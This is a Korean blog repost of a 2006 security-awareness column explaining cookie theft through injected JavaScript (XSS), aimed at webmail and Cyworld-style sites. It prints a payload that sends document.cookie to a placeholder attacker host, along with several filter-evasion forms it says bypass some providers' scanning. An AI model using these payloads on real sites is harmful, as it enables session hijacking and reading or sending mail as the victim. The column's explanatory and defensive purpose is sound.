티스토리 뷰

어떻게쓰는거야

쿠키 스니핑

LANIAN 2006. 9. 15. 01:18

안녕하세요? 한 달에 한 번 최신 해킹 기법을 소개하고 있는 포항공대 플러스의 최성현입니다.

LGNSYS와 함께 일반인들의 보안 마인드 확산을 위해 본 코너를 진행하고 있습니다.

이번 달에는 javascript를 이용한 쿠키 스니핑에 대해서 알려드리겠습니다. Cookie란 naver 사전에 의하면 다음과 같은 것을 말합니다.

고객이 특정 홈페이지를 접속할 때 생성되는 정보를 담은 임시 파일로 크기는 4KB 이하로 작다. 쿠키는 애초 인터넷 사용자들의 홈페이지 접속을 돕기 위해 만들어졌다. 특정 사이트를 처음 방문하면 아이디와 비밀번호를 기록한 쿠키가 만들어지고 다음에 접속했을 때 별도 절차 없이 사이트에 빠르게 연결할 수 있다.

쿠키는 사용하는 웹브라우저가 자동으로 만들기도 하고 갱신하기도 하며 웹사이트로 기록을 전달하기도 한다. 따라서 개인의 사생활을 침해할 소지가 있다. 이용자가 인터넷에서 어떤 내용을 봤는지, 어떤 상품을 샀는지 등 모든 정보가 기록되기 때문이다. 온라인 광고업체들은 쿠키를 이용해서 인터넷 사용자의 기호 등을 수집•분석해 광고전략을 짜는 데 유용하게 활용해왔다.

또 보안문제를 유발하기도 한다. 회원번호나 비밀번호 등이 유출될 가능성이 있기 때문이다. 그래서 마이크로소프트는 인터넷 익스플로러 5.0 이상에서는 쿠키 거부 기능을 첨가했다.

간단히 말하자면 인터넷 웹사이트의 방문 기록을 남겨 사용자와 웹사이트 사이를 매개해 주는 정보를 말합니다.

Javascript를 이용해서 쿠키 스니핑을 하는 것은 데체로 다음과 같은 과정을 통해 이루어지게 됩니다.

먼저 얻고 싶은 쿠키가 무엇인지 목표를 정합니다. 그리고 어느 상황에서 사용자의 컴퓨터가 그 쿠키를 가지고 있을지 추측하고, 그 상황에서 쿠키를 get하는 것이 우리의 최종 목표입니다. 쿠키 스니핑을 하면 얻은 쿠키를 이용해 그 사용자가 로그인한 것과 같이 그 사용자의 권한으로 그 웹사이트에서 여러 가지 일을 하는 것이 가능합니다. 예를 들어 사용자가 이메일 사이트에 로긴한 상황에서의 쿠키를 얻게 되면 그 사용자의 아이디로 로긴한 것과 같이 자유롭게 그 사용자의 메일함을 읽고 그 사용자의 아이디로 메일을 보내는 것이 가능합니다.

Javascritpt를 이용한 쿠키 스니핑이란 javascript로 작성된 쿠키를 얻는 스크립트를 사용자가 읽을 페이지에 삽입해서 그 사용자의 컴퓨터가 그 스크립트를 실행하여 사용자의 쿠키를 얻는 것입니다.

이를 위해서는 사용자가 읽을 페이지에 우리의 스크립트를 삽입하는 작업이 필수입니다. 스크립트는 대부분 특별한 권한을 가지고 있지 않아도 쓸 수 있는 곳에 쓰여집니다. 예를 들어 타겟이 되는 사용자에게 스크립트를 삽입한 이메일을 보내서 그 사용자가 보낸 이메일을 열어 볼 때 사용자의 컴퓨터가 삽입한 스크립트를 실행하도록 해서 그 사용자의 이메일 계정의 쿠키를 얻도록 할 수 있습니다. ( 이메일 열어 볼 때 주의해야겠죠..^^;) 혹은 사용자의 싸X월드 게시판에 글을 올릴 때 스크립트를 삽입해서 그 사용자의 싸이월드 사이트의 쿠키를 얻을 수도 있습니다.

대개 삽입하는 스크립트는 다음과 같습니다.

<script language=javascript> window.open(“http://hackerscomputer/hack.php?cook=”+document.cookie); </script>

이는 hacker의 컴퓨터의 hack.php 라는 파일에 cook이라는 인자로 document.cookie 즉 현재 페이지의 쿠키를 넘겨주게 됩니다.

이제는 이메일 업체나 싸X월드 등의 미니 홈피 업체에서도 이를 알고 대비책으로 여러 가지를 내놓았는데요. 대부분 게시판이나 이메일 내용을 검색해서 script로 의심되는 부분이 있으면 그 부분을 삭제하거나 일부 태그를 없애는 방법을 사용합니다. 싸X월드에서는 얼마 전까지만 해도 스크립트 검사를 하지 않았는데 바로 얼마 전부터 시작한 것으로 확인됐습니다. 해킹하는 측에서도 이를 대충 알고 있기 때문에 이 검사를 피해가는 방법을 씁니다. 다음은 업체의 검사에 걸리지 않는다고 알려진 javascript 코드 쓰는 방법 몇 가지입니다.

((a href="javascript#code"))

((div onmouseover="code"))

((!-- -- --))((script))code((/script))((!-- -- --))

위와 같은 코드들은 몇몇 업체의 검사에 걸리지 않는 것으로 확인됐습니다. 싸X월드에서는 되지 않으니 또 가서 해보고 그러지 마세요. ^^; Javascript 쿠키 스니핑에 대한 대책은 사실 업체 측에서 검사를 철저히 해주는 수밖에 없습니다.

일반 개인 사용자가 조심하는 데에는 한계가 있기 때문이죠. 하지만 일단 함부로 이메일을 열어보지 않는 것이 좋은 방법입니다. 이메일은 바이러스와도 관계가 있기 때문에 의심스러운 것은 일단 읽지 않는 것이 좋습니다. 이번 달 내용은 여기서 마치도록 하겠습니다. 좋은 하루 되세요 ^^

http://www.plus.or.kr/wikix/index.php?display=LGNsys200406

'어떻게쓰는거야' 카테고리의 다른 글

IE7 확장(add-on/extention) IE7pro  (0) 2006.12.19
소리 증폭 TomSteady_Audio_Filter  (0) 2006.12.08
쿠키변조  (0) 2006.09.15
winhack 단계별도구  (0) 2006.09.15
winhack 단계별도구  (0) 2006.09.15
댓글
안내
궁금한 점을 댓글로 남겨주시면 답변해 드립니다.